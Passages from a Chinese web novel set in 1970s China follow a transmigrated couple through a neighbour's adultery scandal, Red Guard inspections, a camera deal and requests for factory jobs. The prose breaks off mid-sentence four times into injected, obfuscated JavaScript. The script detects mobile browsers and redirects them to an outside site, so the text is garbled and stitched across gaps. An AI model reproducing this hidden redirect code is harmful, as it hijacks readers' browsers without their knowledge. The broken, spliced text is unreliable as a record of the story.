关父关母爱吃肥肠,两人用料卤上,放多点儿盐,慢火炖了一晚上,翌日上班的时候才关火。又放在外面冻了一晚上,这才给基地寄过去,加上一些坚果和章家给的糖,很不错的年礼了。 以为年前就这么安静地过去了,谁知道邻居顾家在前线做实验的男人顾念恩回来了,还闹出了离婚的事儿,一时关家门前都热闹起来。 顾家住在关家西面,两家格局差不多,不过顾家就顾念恩一个人在前线工作,房子比关家小。知道顾念恩回来的时候,章清云还好奇呢,问关父关母会不会回来。关百钺也是这时候才想起来,原来和科研大院合作的,不止有西北的荒漠,还有西南的大山。顾念恩和关父关母根本不在一个地方。 歇了和父母团聚的心思,两人专心看起戏来。顾念恩和妻子黄咏梅为什么闹离婚呢?因为顾念恩回来的时候,将黄咏梅和一个男人堵在被窝里了!现场抓奸,好在男人机灵,捂着脸跳窗跑了,饶是如此,顾念恩也算是抓奸抓双了,能不离吗? 可黄咏梅不干啊,她跳着脚的骂顾念恩:“别以为堵着了老娘,老娘就能放过你!大家不知道吧,这位顾念恩顾大科学家,在外面早有人了!这么多年都不回来,每次回来就呆那么三五天,大家以为他为了工作吗?呸,那是看上跟他一起做实验的女学生了!” 为了摆脱脏名声,黄咏梅开始指名道姓:“他们那实验基地,每年分过去的女大学生多着呢,就那个楚......” 顾念恩气得身子直抖,指着黄咏梅说不出话。来调解的妇联工作人员也变了脸色,都是前线不顾危险做实验的英雄,怎么能在背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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年前文工团的演出不少,姚燕妮恋爱的影响渐渐体现出来。许是程卫东那里忙吧,时不时就要带姚燕妮去见什么人,她和苗盼儿这一组,是两人轮流上台跳的,而且还是苗盼儿跳的多点儿。而章清云这组呢,全程都是她在跳,故而她得的福利最多,没人能说什么。 许是知道理亏,这日上班,姚燕妮特意带了相机过来,小小巧巧的一个,一看就是革委会查抄的私产。程紫鹃一见到,眼睛立时跟装了灯泡似的闪闪发光,她小声对章清云道:“肯定是程卫东给她的!你说我能拍个单人照吗?穿着跳舞服拍一张,天哪,得多美啊。” 章清云心里一动,虽然她上过报纸,海报上也有她的画像,可毕竟不是照片。如果弄一部相机在家里,她和关百钺可以多拍几张,记录一下彼此最好的青春。 心里这么想着,嘴上却道:“谁知道呢,你要是想拍,去跟姚燕妮说说。” 程紫鹃撇撇嘴,良久道:“算了,我还是去照相馆吧。和她关系又不好,她才不会给我照呢。” 章清云不置可否。 谁知等人到的差不多了,一直昂着头被大家围起来的姚燕妮开口道:“快过年了,我特意求了我妈,带相机过来给大家拍照。今年咱们团圆满完成了演出任务,就当是给大家庆祝了。” 50. 欢欢喜喜迎新年 队员们顿时欢呼声一片,这个说燕妮就是体贴,那个讲燕妮姐就是有格局,一时又成了当初那个众星拱月的姚燕妮。 姚燕妮弯起嘴角,笑着道:“大家放心,一人一张单人照,别挤,我带了三张胶卷呢,肯定够的。大家先想想穿什么衣服、摆什么姿势拍照吧。” 众人这才忙活起来,一会儿说要穿舞蹈服,一会儿说要回家换新衣服过来,一个个热闹的不行。教练周文芳在训练室久等不到人,走到更衣室才发现,大家围着姚燕妮拍照呢。 周文芳多看了姚燕妮两眼,皱皱眉没说话。小姑娘能想到用这种方法消除大家的不满,已经不错了。今天都腊月二十三了,按青江的习俗,就是小年了,就让大家放松一天吧。 于是,这日简单热身,将动作巩固一遍之后,周文芳没有再安排别的训练任务,大家一个个围着姚燕妮排队拍照。 章清云自然也没错过这个机会,来这里这么久,她也是第一次拍照呢。程紫鹃借来小镜子,一个劲儿照,还将头发散开,重新梳了一遍才安心。一会儿看见有小姐妹将头发盘在头顶,戴一个硕大的红色头花,程紫鹃眼红,又巴巴过去借,还要章清云给她梳这个头。 章清云失笑,程紫鹃却乐得摇头晃脑的:“清云,我跟巧云说好了,我用完就给你用,等会儿拍完,换我给你梳头。” 章清云谢过,那边儿苗盼儿也打扮好了,一身跳舞服,圆形发髻盘在头顶,笑着过来让两人参谋:“你们说前面有刘海好看,还是没刘海好看?” 训练室乱糟糟的,每个人脸上都挂着笑。章清云做了个芭蕾舞演员最常见的三位手,就是双手轻盈舒展地举高,手臂之间呈圆弧形,双腿微微交叉,呈丁字步。就这么姿势优雅地拍了穿越以来的第一张照片。 等下班和关百钺汇合,章清云悄悄说了买相机的事儿,她问:“你说如今哪里能买到相机?百货大楼有吗?” 关百钺听了也心动,想了想道:“百货大楼的相机到了就被领导家买走了,爱军哥家里就有,要是急着想拍,咱们今晚就去借。要是不急的话,等我想想办法,一定弄一台过来。” 章清云笑:“不急,那咱们周末先去照相馆拍一张合影,等相机到手了,再拍写真。” “行!” 利己的事儿,关百钺答应的十分痛快。 回到家时,旁边顾家已经消停了,争吵声消失,转而代之的,是黄咏梅单方面摔摔打打的声音。出乎所有人的意料,这两人竟然没离婚,顾念恩年都不过了,连夜就要回西南大山。 关上门,章清云低声问:“你说,顾念恩是不是有什么把柄落在黄咏梅手上?不然不会甘愿戴绿帽子也不离婚。” 关百钺哪里知道这个,他笑着道:“这个谁说的准。不过想来这把柄不小,婚都不离了,单位上肯定要调查的。” 也是,不过还能让顾念恩回实验室,想来不是特务之类的原则性问题,顶多有些作风上的不恰当。看来当时黄咏梅说的话八成是真的,这顾念恩和新来的女学生之间,八成不干净。不过和黄咏梅之间还有两个孩子牵扯,虽然目前都在乡下,但也是两人的孩子,离婚没那么简单的。 小年要祭灶,两人偷摸对着虚空拜了拜,摆上芝麻糖就当祭祀过了。没办法,越是过节,越得防着革委会突然检查。也亏两人谨慎,没烧香,饺子刚下好还没往出盛,大院儿小楼这一片,几乎所有别墅的门被同时敲响,不太友善的声音响起:“开门,检查吃食了,开门。” 章清云放下碗,边走边左顾右盼地看,没有过界的东西,这才将门打开。外面的红袖章气势汹汹的叫嚷:“开这么晚,是不是在隐藏什么?!” 章清云赔笑:“哪儿啊,这不是在厨房下饺子吃嘛,听到声音就赶紧过来开门了。” 红袖章大姐不依不挠:“关百钺呢?他怎么不来开门?” 关百钺关上书房的门,笑着出来道:“彭大姐,我在家画图呢,您也知道,我的工作牵扯到一些保密的事情,得放好才行。” 都是科研单位的,关百钺最近在做什么,大家都知道,没有不眼红的,被叫做彭大姐的女人瞪着眼睛,说:“怎么,我们都是伟人最忠诚的战士,还会背叛不成?” 关百钺苦笑:“彭大姐,我相信您的为人,但这是组织原则,希望您能理解。” 彭大姐哼一声,挥挥手道:“进去,看看他家的吃食。” 小年轻们气势汹汹地挤进厨房,见除了锅里的饺子再没其他,纷纷皱眉,一个十七八岁的大小伙子指着饺子,厉声道:“什么馅儿的,掰开一个看看。” “白菜猪肉的。”饺子刚下好,还没盛出来呢,章清云捞出一个放到碗里,用筷子夹开给大家看,“十斤的白菜配一斤的肉,把我俩年货供应都用光了,大家看。” 是不怎么显肉,彭大姐象征性地教育了两句:“粮食问题是个大问题,闲时吃稀忙时吃干,佐以红薯、玉米等杂粮,艰苦朴素过大年......” 有那眼红关家小洋楼的,嘟囔了一句:“住小洋楼的就是奢侈,一斤的肉全用光了。广大的无产阶级都留着待客呢,根本不舍得自己吃。” 这就让人不知道说什么了。关父关母的待遇是好,可那是以透支生命为代价的,大家都知道,不是谁说两句酸话就能改变的。 关百钺和章清云都当没听到,反而是彭大姐皱了皱眉,她是不喜欢关百钺四处钻营,卯着劲儿的给家里捞好处,可却也尊重这些科学家们,她厉声道:“关家康和梁秀英同志是国家培养的伟大科学家,待遇是组织批准的,怎么,你有意见?” 见那人低下头,彭大姐才重重地哼一声,手一挥,又风风火火地领着人去了下一家。 关百钺和章清云站在门口,目送大家离开,等人影儿都不见了,章清云关上门,拍拍胸脯道:“幸亏你机灵,将芝麻糖提前放到书房,否则非出事儿不可。” 关百钺也是心有余悸,说:“好了,都过去了,去把糖端过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不打猎上山干什么?翌日,大家都没上山,在章家老屋呆了大半日,知青点猫冬的章清宇和司南也过来了,陪四位老人说了半天的话,一行人才离开。不是不陪老人过年,而是这年头过年可不放假,都是要上班的,想陪也没办法。 穿越以来的第一个新年,两人都没马虎。炸豆腐,炸肉丸子、萝卜丸子、豆腐渣丸子,各种炸货准备了一箩筐。 因着喜欢吃腌制的炸豆腐,章清云特意连着一个礼拜,天天早起排队去买老豆腐。又是炸又是放到外面做成冻豆腐,还想着办法压豆干,各种的折腾,将前世在孤儿院学到的手艺都用上了。 魏雪父母不在家,关百钺特意去说过,过年的时候让魏雪过来。 魏雪也不是空着手来的,她如今在医院打杂,除了常规的年货供给,还有医院发的节礼,虽然不多吧,两斤肉和半斤瓜子。魏雪连家都没回,三十儿这天提前半天下班,提着东西来到关家。 快一个月没见,魏雪脸色红润许多,显见是和卢建设处于热恋中,一脸的甜蜜。见到关百钺和章清云嘴甜的很,哥哥、嫂子的叫不停,包饺子的时候手脚也利索,不是被宠的连家务都不会干的小公主。 “哥,你说让建设去制糖厂做技术员怎么样?”魏雪一边捏饺子一边道。 关百钺眉毛都没眨,问道:“建设想去制糖厂?” 51. 工厂招工动人心 魏雪也没说想去,而是道:“哥,你想啊,现在的机械厂是你一手建起来的,你是核心,离了谁也离不了你。可制糖厂不一样,当时提高甜菜的出糖率,建设也是认真研究过,提过意见的,他去那里名正言顺,又能让你少被人说闲话,对你对他都是好事儿。” 这就不是魏雪能说出来的话。关百钺眼睛都没眨,笑着道:“行啊,当时去糖厂参观的时候,建设也去了,侯厂长他也认识,想什么时候去都行。” 机械厂目前还是个小厂子,唯一的产品就是生产新型榨油装备。而糖厂已经是个千人大厂了,有农场专门种植甜菜,供应糖厂的原材料需求,更有固定的销路,糖只要造出来,就不愁销路。可以说,制糖厂是真正做到了原材料和产销一条龙的。这时候看,糖厂是比机械厂有前途。 饺子包好,关百钺抱着竹篦子去厨房下饺子,章清云则带着魏雪去准备晚上要吃的菜。凉拌猪头肉、烩丸子、辣白菜炖豆腐、酸菜白肉,再加一道甜的米酒鸡蛋汤。配上煮好的饺子,算是六个菜。 章清云夹了块儿猪头肉,放到魏雪的盘子里,道:“来,小雪,吃猪头肉。你哥知道你喜欢吃,特意晚上去屠宰场偷摸弄回来的。你不知道,差点儿被大院里值班的给抓到,可折腾了。” 魏雪嘿嘿嘿的笑:“我哥从小就疼我。” 是,都疼你,按说也不该缺爱,可魏雪却被卢建设洗脑,一门心思的想着他。卢建设以关百钺为跳板,已经完成了从顽主到技术人员的过渡,以后又会利用魏雪,完成什么呢? 魏雪却不知道哥嫂为她担心,十分开心的道:“嫂子,你手艺可真好,猪头肉卤的恰到好处。” 章清云笑:“好吃就多吃点儿。外面还有,明儿晚上我再切点儿,咱们接着吃。” “嫂子,明天我就不过来了。”魏雪挠挠头,笑的一脸甜蜜,“建设说要带我去苏联餐厅吃饭。” 章清云挑挑眉,戏谑道:“怎么不带你去他家?” 魏雪脸都红了,娇嗔道:“嫂子!” 说着微微噘嘴,跺了跺脚,良久才继续道:“初一他爸妈都要去参加团拜会,不在家。反正过年餐厅也不放假,去那里吃饭正好。哥嫂,你们要是不想做饭,也去那里吃,听说新年有新菜呢。” 章清云和关百钺可不去,两人又不是多喜欢吃西餐。再说,家里又不缺物资,不是非要出去才能吃到好的。 大年初一这天是周三,每家都刻意提早起来,先四处拜年,匆匆忙忙的各家都坐了坐,就到了上班的时间。 魏雪蹦蹦跳跳地去了医院,关百钺和章清云虽然担心,可谁让魏雪乐意呢,关百钺叹口气,安慰道:“没事儿,只要我还能让卢建设借势,他就不敢不对小雪好。” 这话也是,都是看在对原主颇照顾的姑姑关家和的面子上,不然就魏雪这恋爱脑的糊涂样子,两人早撒开手不管了。 初一嘛,大家都没工作的心情,将身体拉伸好,动作稍微练了练,不可避免地说起过年的事儿。 这个说家里买到了老母鸡,红烧的鸡块,可好吃了。那个说老家那边寄来了海鱼,一点儿也不腥,比河鱼好吃多了。 姚燕妮则拿着一沓子照片,脚步轻快地来到训练室,将照片甩的哗啦啦响,等大家都看过来了,她才笑着道:“照片洗出来了,大家来看看。” “燕妮,你可真是我们的女神!大年初一就带着喜讯过来,我们爱你!” “对,燕妮女神,我们爱你!” 一个个飞一样起身,围拢在姚燕妮身边,嘻嘻笑着说些肉麻的话。姚燕妮得意地看了章清云一眼,一张张发着照片:“蒋兰,你这张照的真不错,笑的特别自然......孙巧云,给,你这张也不错,发型好看,我记得好多人都学你这个发型呢......” 程紫鹃挤到姚燕妮跟前,只听到一个程字,就赶紧哎哎哎的答应:“这里,还有清云和盼儿的,都给我,我给她们捎过去。” 姚燕妮撇撇嘴,刷刷刷抽出来三张照片,递过去也不跟程紫鹃说话,而是跟旁边的孙巧云道:“还是你梳那个发型最好看,别人都只学到了皮毛,没你好看。” 章清云去了卫生间,这时候刚进来,就听程紫鹃报喜鸟一样的声音:“清云,你这张照片也太漂亮了吧,假如天上有仙子,想来也不过如此了。” “天上哪里有仙子,程紫鹃,你可不能搞封建迷信!” 程紫鹃叉腰:“我说的是假如,假如你知道什么意思吗?就是我知道没有,但我觉得如果有,那就是清云这样儿的,怎么了,有什么问题吗?” “哼,你这是潜意识的封建迷信,也是很要不得的。” 程紫鹃还要回嘴,章清云对着那人道:“孙巧云,得饶人处且饶人,紫鹃说的话没毛病,你要是硬挑刺,可就有点儿不讲道理了。以后在团里,大家还怎么说话?” 姚燕妮开始和稀泥:“好了,清云,巧云也是为了紫鹃好,她这样口不择言的,在团里还好,大家不会抓着不放。可要是在外面说了什么不好的话,到时候连累的就是整个文工团了。你也多说说紫鹃,可不能小孩子脾气。” 教练周文芳一直没出去,这时候严肃着脸开口了:“紫鹃,你过来。” 程紫鹃自知失言,脸有些白,章清云拍拍她的肩膀,接过程紫鹃手里的照片,安慰道:“没事儿的,以后少说话。这时候犯错不是坏事儿,去吧。” 程紫鹃埋着头,一步步蹭着脚跟儿过去。 苗盼儿蹙眉,担心地道:“教练不会不让紫鹃演出了吧?” 章清云摇摇头:“不会的,顶多这一周先不让她上场,反省反省。” 被章清云说着了,回来的程紫鹃耸眉搭眼的,低声对两人道:“教练让我写检查,这周都不能上台演出。”没有演出就没有补助,没有各种福利票,也是不轻的惩罚了。 苗盼儿刮刮她的脸,耳语道:“看你以后记不记教训!就算生气,话也不能乱说,知道吗?也不想想姚燕妮她男朋友是什么身份,万一她嘴一歪,说出点儿什么,你可就惨了。” 程紫鹃这下子脸全白了,也明白教练罚她的原因了,她赶紧道:“我知道了,我去跟教练说一声,我是真知道厉害了。” 虽然有不愉快,大年初一总是个喜庆的日子,团里的人叽叽喳喳,很快将这件小事儿抛到了脑后。 下班到家时,关盈钺和师援军、洪安娜和沈爱军都在沙发上坐着,关百钺正陪着聊天。 见章清云回来了,洪安娜还抱怨呢:“清云,想要相机跟安娜姐说啊,百钺这小子使这么大劲儿,我都听说了,虽然没得罪人,可这功劳白白给出去,可惜不可惜。” 关百钺忙道:“安娜姐,不只清云,我也想要相机啊。知道您有门路,可这是德国徕卡,除了那地方,还有哪里有?就是跟您说了,您也是往这方面使劲儿,说不得还要麻烦爱军哥,我可不放心。再说,我都二十一了,自己能办的事儿,自己就办了,您啊,就安心养胎吧,将来给我生个大胖侄子、大胖侄女才好呢。” 洪安娜朝关百钺翻个白眼儿:“怎么,嫌我挤兑你媳妇儿了?瞧你那护媳妇的样子。” 关百钺就笑:“哪儿啊,安娜姐您就这脾气,向来是想说什么就说什么的。我家清云不一样,是个娇娇女呢,我可不得护着点儿。”说着冲章清云挤眼睛。 章清云掐腰佯怒道:“好啊,原来我在你心里就是个小肚鸡肠的,我今儿可算是听到实话了。安娜姐,盈钺姐,你们可得给我做主!” 夫妻俩一唱一和的,六人都笑起来。 关盈钺已经显怀了,第一次不跟弟弟一起过年,昨晚睡下的时候就担心的不行,怕弟弟两人什么都不会做,年夜饭都吃不好,又怕魏雪不懂事儿,净想着卢建设,再跟百钺闹脾气。 今天一下班,关盈钺就拉着师援军过来了,见弟弟和弟媳脸色红润,眼睛亮晶晶,心里就先放了一半的心。如今笑过了,才问起魏雪的事儿:“昨天没闹什么幺蛾子吧?” 关百钺也没瞒着,将卢建设要调去制糖厂的事儿详细地说了,沈爱军猛地拍手道:“听说制糖厂技术部主任的位置空下来了,原来的主任说是F动权威,被打倒下放了,想来卢平开始为儿子谋划了。” 洪安娜呵了一声:“走了才好呢,趁早身边干干净净的,你那个厂子才能发展。” 是啊,之前束手束脚的,如今碍事儿的走了,一些技术性高的项目,得上马了。关百钺没继续这个话题,问起了部队大院过年的情况,特意问了高家,沈爱军摇头道:“没什么特别的,高武还在家拘着呢,估计在找到正经差事前,是不会放出门的。” 那叶宛如就没去高家闹了。六人一起吃了团圆饭,九点多才分开。 对于这时候的徕卡相机,章清云十分好奇,刚关上门就忍不住跑去看。相机十分小巧,整体呈银灰色,散发着机械化的冷光,机身手握的地方有黑色的皮套,镜头前刻着许多的数字,想来是调焦用的。 她问:“你会用了吗?” 关百钺点点头:“会,很简单的,镜头已经调好了,只要按快门就行。”他指了快门的地方给章清云看。 章清云好奇:“你用什么东西跟别人换的?”相机保存的这么好,想来代价也不小。 关百钺笑笑:“提高煤炭燃烧率的文章,带上程卫东的名字。” 章清云不解:“就这?” 关百钺刮了刮媳妇儿的鼻子:“这还不够啊?要知道,这篇文章,可是要在国家级报纸上发表的。凭借这篇文章,程卫东能进热力部门,知道那里的油水多大吗?” 章清云明白了,她咽了咽口水,道:“如今几乎所有厂子都离不开煤炭......” 关百钺打了个响指:“对喽!热力部门可是煤厂的上级部门,掌管着煤炭的分配,你想想,从中他能接触多少人。而且,还有石油这个大杀器呢。” 章清云多看了关百钺几眼,指了指他道:“你不安好心!让老鼠去守粮仓,你是等着看程卫东什么时候被抓吧?” 关百钺挑眉:“你又知道了?” 见章清云掐腰,他笑道:“好好好,我就是这么想的。程卫东祸害的人可不少,糟蹋的姑娘也多,你就不想他有报应?” 章清云哈哈哈的笑,在关百钺还没反应过来的时候,迅速地上前,亲了他一口:“你的,狡猾狡猾的,不过我喜欢!” 两人笑闹了一阵儿,关百钺道:“今晚拍照吗?” 章清云看了看墙上的挂钟,九点四十二,她想了想道:“先洗漱,拍几张就睡觉。” 洗漱好,章清云特意光着腿,换上了关百钺的衬衫,一米二的大长腿,看的关百钺血压直往上冲,呼吸都粗重了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436470|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。章清云咯咯咯的笑,不停变换着姿势,最后关百钺把相机一扔,扛起章清云就往卧室走。 翌日餐桌上,章清云发愁了:“照片儿去哪儿洗啊?”去哪儿,都得说两人是流氓。 关百钺失笑:“放心,洗照片我也学了,我自己洗,放心了吧?” “那放到书房里,别被人看到了。” “看你那操心劲儿的。你啊,就属于那冷不丁做件坏事儿,之后越想越后怕,整天琢磨怎么补救的好学生。” 章清云叉腰:“哼,这种人怎么了,瞧不起啊?” 关百钺捏了捏她的脸,笑:“没怎么,就觉得还怪可爱的咧。” 两人又耍了回花腔,才各自去上班。年后都不忙,情人节这日,两人特意去苏联餐厅吃了顿饭,栗子蛋糕、咖啡,算是吃西餐过洋节,开了一次洋荤。 关百钺的机械厂上马了新的项目,制糖工艺改进所需要的器械造出来了,算是和制糖厂合作的后续。一经推出,迅速在北方传播开,订单都排到了三年后。为了关心下属单位,粮油公司的领导特意去机械厂参观,话里话外的暗示,是不是应该招工啊。 关百钺能说什么呢。招工肯定是要招,但领导您这么关心,肯定是想塞人!关百钺立即开始摆困难:“领导,您也知道,甜菜制糖主要就是在咱们北方,南方基本没有。而这个器械呢,只适用于甜菜制糖,对甘蔗制糖它没用!所以别看订单多,但订货商基本就是北方这些大的制糖厂,生产完也就完了。到时候工人怎么安置......” 领导姓周,笑眯眯的弥勒佛一般:“小关啊,不要谦虚嘛,谁不知道你是机械天才。你这个公司,不是还有榨油设备......” 关百钺赶紧道:“领导,大豆也是北方种植的多,推广也是在咱们北方......” 周领导半点儿不恼,点了点关百钺,道:“那就研发其他机械化的设备嘛,多去粮油公司下面的小厂子里走一走,你小子这么厉害,没有拿不下的。不要怕人多嘛......” 巴拉巴拉说了一堆,关百钺明白,推脱不得了,等周领导终于说完了,他赶紧道:“是,领导您批评的对,我一定努力钻研,早日造出其他的设备。您看这样行不行,咱们也不要多,这次就先招三十人,慢慢来嘛。” 周领导摇摇头:“做事情怎么能这么胆小呢,小关啊,眼光要放长远,不能只看到如今的困难......” 你来我往的,最后定下招工八十人。 说实话,这个数字,在关百钺的接受范围内,等领导走了,关百钺心里狠狠松了一口气。原本以为领导怎么说也要一百呢,没想到只加到八十,领导就不说话了。 他哪里知道,人家领导也为难。不帮别人,别人就不会帮你,那工作就进展不下去。怎么办呢?能帮,但不能全帮,有选择的帮忙,才能让人扒着讨好,从而达到最好的效果。 当然,这些关百钺都不知道,更不知道的是,招工的消息真就跟插了翅膀一样,上午刚定下来,下午就在几个大院里传开了。 这下关家热闹了,章清云一下班,还没进大院呢,就这个打招呼那个问好的,待走到关家所在的那一排楼前,好家伙,各种人来回地走动,一圈儿又一圈儿的。为啥呢?假装路过啊,有说来借把葱的,有说借蒜头的,各种理由都有。 就连当初闹离婚的邻居黄咏梅,都等在家门口,想为在乡下的儿子女儿说情。 当初她家儿子、闺女一腔热情地报名下乡,七年了,每次回来都哭,后悔啊。可有什么办法呢,当初两人可是积极分子,挂了大红花到处演讲的。她黄咏梅就是个后勤的园丁,哪儿有能力把人调回来。男人连家都不回,更是指望不上。当初和那个男人在一块儿,还不是看中了那家伙手里的权利,想着能让儿女回城。 结果呢,身败名裂! 黄咏梅想死的心都有,为了孩子,还得继续和顾念恩纠缠。想离婚?没门!别以为离的远她就不知道,顾念恩屁股可不干净!她就说了两个名字,这家伙吓得连夜回了实验室,胆小鬼! 黄咏梅看着走过来的章清云,眼里满是羡慕。谁年轻的时候,不是个美人儿呢?可那又如何,一朝嫁人,人生才是真正的开始。如今章清云春风得意,她就看着,看关百钺几时变心! 黄咏梅脸上的表情阴晴不定,看得周围的人纷纷远离。 章清云脸都笑僵了,心里把关百钺骂了一百遍,你那里招工,你倒是快点儿回来啊。我这什么都不知道的,都快被大家问死了。 也许是听到了章清云的求助,关百钺乐呵呵地回来了,见这么多人围在门口也不诧异,笑着道:“大家静一静,静一静。我知道大家想问什么,是,机械厂是要招人。但招的都是技术工,最低也得是高中毕业。咱们大院儿子弟、粮油公司子弟都可以报名,到时候会考试的,大家别急。” 见大家都静了,关百钺继续道:“考试可不是我出题,考什么我也不知道,大家别问了,要是家里的孩子符合条件呢,明儿就去粮油公司报名,不符合条件也别找我,机械厂可不是谁都能进的。” 见大家不信,关百钺开始举例:“被刀切断手脚的事儿大家听说过吧?那可都是机械厂发生的。没知识没文化硬干,不是对孩子好,那是害了孩子。大家好好想想这个话,好了,还没吃晚饭呢,大家都快回吧。” 52. 轮番上门众生态 有那听到条件觉得家里的孩子符合的,没怎么犹豫就回去了,想着尽快写信加发电报,让孩子早点儿回来。那不符合条件的,眼珠子咕噜噜转,显然没打算放弃,不过见大家若有所思,也都没说话。 关百钺和章清云赶紧钻进家门,章清云低声抱怨:“厂里招工,你也不跟我说一声,下次要再这样,我可要生气了。” 关百钺求饶:“好好好,我以后什么都跟你说。不是要瞒你,是招工的事儿突然,是今儿领导来视察,提出来的......” 将事情经过说了,章清云目瞪口呆。事儿还有这么办的?是她见识太少,扯关百钺后腿了。 章清云边换家居服边道:“早点儿吃饭吧,想来今晚来家里求情的不少。” 关百钺却摇摇头:“有,却不会多。” 章清云不解:“为啥?领导都找你走后门了,大院的人又不傻......” 关百钺笑:“他们是不傻,可你忘了,他们还有另一个身份,知识分子!” “知识分子怎么了?知识分子也是人,也要吃饭。” 关百钺摇头:“我不是说这个,我是说,知识分子比一般人,都清高,都要面子。他们可以假装和你偶遇,却不会特意上门。” 章清云却有些怀疑:“事关孩子呢,面子能比孩子重要?我觉得人不会少。” 关百钺挑眉:“那要不打赌?就赌这两晚来家的人,我猜不会超过五个。” 章清云哼一声:“赌就赌,我赌一定超过五个!赌注是什么?” 关百钺低声道:“就赌晚上照相......” 章清云呸了一声:“要是我赢了,罚你三个月,天天让我吃上肉。”说完转身去厨房准备晚饭。两人的晚饭历来简单,稀饭加一两个素菜,很快就吃完了。 刚收拾好,黄咏梅就上门了。她家住在隔壁,自然比别人快一步,黄咏梅是个豁得出去的,进来就将手里的长中华递过去,道:“百钺,云岚和云凯就比你大三岁,去年回来探亲,你也见了,看着能比你老十岁!阿姨看着心疼啊,我也不为难你,能回来一个,阿姨一辈子都感激你。” 关百钺没接烟,反而道:“黄阿姨,您不用这样。我觉得您最该做的,是尽快通知云岚姐和云凯哥。两人都是高中毕业,当年学习成绩也好,只要好好复习,想来问题不大。当然,这话也不绝对,我毕竟不是出题的。不是我说,您啊,是最不该来的,将来云岚姐和云凯哥凭自己的本事考进来了,反而要因为您,被人说闲话,您说冤枉不冤枉?” 黄咏梅心里高兴,可也没把握啊,她说:“以前是学习好,可毕竟在乡下快七年了,能不能考过在城里的这些孩子,也不一定......” 关百钺摆摆手:“阿姨,您怎么能这么想呢。留在城里的就好了?您看我,以前在城里就是个顽主,整天什么都不干,净瞎胡混,不也是扔下课本好些年了?大家都一样,您很不必担心这个。” “那你不是没忘了课本,还办了机械厂......” 关百钺笑:“我的黄阿姨啊,我那是因为要结婚,混不下去了,这才想着找些事情做的。你啊,这时候什么都别想,先告诉云岚姐和云凯哥是正理......” 巴拉巴拉说了一堆,东西也没收,恭恭敬敬地将人送出了屋。章清云笑指着关百钺:“你就忽悠人吧。” 关百钺点点章清云:“那怎么能是忽悠呢。你不知道,顾云岚和顾云凯是龙凤胎,当初生下来的时候夫妻俩可宝贝了,养的精细着呢。两个孩子呢,又是那种将知识分子的清高学了个十成十的人。当初这个原身找他们玩,他们都爱答不理的。不过也不是坏人,就是容易头脑发热。想来下乡七年,应该改了不少。” 夫妻俩说着闲话,很快东边邻居方家也来人了。来的也是家里的女主人,叫孙元贞,进来说话做事和黄咏梅如出一辙,是为家里的女儿求情的。 “一个女孩子,人生地不熟的,在乡下呆着,我是一想到这里,就整宿整宿的睡不着觉。百钺,阿姨求你了,你就帮帮阿姨,阿姨一辈子感激你,真的。” 关百钺能说什么呢,只得将刚才的话又重复了一遍,好不容易才把人送走。章清云坐在沙发上,得意地晃着腿儿:“我要赢了。” 关百钺十分的淡定:“那可不一定......” 还没说完呢,又有人敲门,章清云摆摆手,捂着肚子,笑着起身进屋去了,意思很明显,她先笑一会儿,等会儿再出来见客。 好在除了这三个人外,今晚就再没人来了。章清云一晚上都哼着歌儿,显然心情很好。关百钺笑道:“还有一晚上呢,我可不一定输。” 章清云白了他一眼:“你就嘴硬吧。” 不过很快,章清云就发现,她输了,因为第二晚,没人来家里拜访。虽然被逼着拍了些照片,又做了有益身心健康的运动,气喘吁吁的章清云还是问道:“为什么他们不来呢?这不是死要面子活受罪吗?还是让儿女受罪,太混账了!”说到最后忍不住砸床。 关百钺笑的十分畅快:“你还是不了解知识分子!你有没有发现,昨晚来的那三个人,有什么特点?” 章清云扭头问道:“什么特点?” 关百钺挑眉不言,章清云啊了一声,利索地起身,伸出双手捂住关百钺的双耳,使劲儿晃了晃,狰狞着脸威胁道:“快说,别卖关子。” 关百钺笑着道:“好好好,我说。那三个人都是后勤的,最高学历也不过初中毕业。严格来说,她们都不是知识分子,而是嫁给了知识分子。” “哼,知识分子的劣根性。” 劣根性不劣根性的,反正通过这件事儿,章清云算是将大院的人又重新认识了一遍。 陆陆续续的,有下乡的子女回城备考,近一个月,关家门前就没消停过。回城的知青比爹妈们懂人情世故,特别是隔壁院儿的顾云岚和顾云凯,在乡下呆了七年,身上的骄娇之气全没了,用黄咏梅的话说,就剩下小市民的圆滑了,都不像她的孩子! 像不像的,两人也不管,今儿帮着关家院子里的菜浇水,闲聊里知道章清云爱吃老豆腐,明儿特意拿了一板送来。 这肯定是要给钱的,不能白拿人家东西呀,顾云岚也知道这个理儿,很利索地收了钱。一来二去的,反正是在章清云面前混了个脸熟。 这年头招工多难呀,就连大杂院那边都收到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441680|180957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 